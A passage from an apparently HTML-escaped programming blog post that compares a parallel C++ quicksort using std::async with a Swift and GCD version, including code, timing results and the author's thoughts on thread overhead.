        &lt;span class="cm"&gt;/* move pivot to left */&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* swap all lesser elements */&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* move pivot back */&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        
        &lt;span class="cm"&gt;/* sort subarrays in parallel */&lt;/span&gt;
        &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;taskLeft&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;QuickerSort&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;taskRight&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;QuickerSort&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here’s my calling code:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="nc"&gt;T&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;UseQuickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;clock_t&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;QuickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"QuickSort: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;1000.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CLOCKS_PER_SEC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"ms"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IsSorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="nc"&gt;T&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;UseQuickerSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;clock_t&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;bgTask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;QuickerSort&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bgTask&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wait_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;future_status&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;deferred&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bgTask&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wait_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;future_status&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;yield&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IsSorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"QuickerSort: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;1000.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CLOCKS_PER_SEC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"ms"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;UseQuickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;UseQuickerSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’ve added some code to profile how long does each of these tasks take to execute the data set. The dataset of 100 elements executes on my machine as:&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;QuickSort: 0.023ms
QuickerSort: 29.12ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, the concurrent code takes a lot longer to execute than the single threaded one. One guess could be that the creating thread for each subproblem and them the extra load of context switching between the threads could be the reason behind the latency. Or you could also suggest that there are huge flaws in my implementation.&lt;/p&gt;

&lt;p&gt;I accept, there could be huge flaws in my implementation, as this is my first take at core multi-threading with C++ thread library. But, still we can’t ignore the fact that we’re spawning a lot of threads with each iteration. The number of threads running concurrent at each iteration are getting added by a factor of 2. This implementation definitely needs to be improved.&lt;/p&gt;

&lt;p&gt;This is where GCD shines. First of all, it’s easier to begin with. Keep in mind I’ve equal amount of experience with both the libraries. So, my code should be full of bugs and most probably I’m not using them in the best possible way. But, this is all part of the test and my experiments.&lt;/p&gt;

&lt;p&gt;Anyhow, when I implement the same problem using Swift and GCD, like so:&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;UIKit&lt;/span&gt;

&lt;span class="c1"&gt;// MARK: Common&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;isSorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Bool&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Fail case: &lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="s"&gt; &amp;gt; &lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;//MARK: Quick Sort&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;quickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;inout&lt;/span&gt; &lt;span class="nv"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* swap pivot to front */&lt;/span&gt;
    &lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;last&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* swap lesser to front */&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
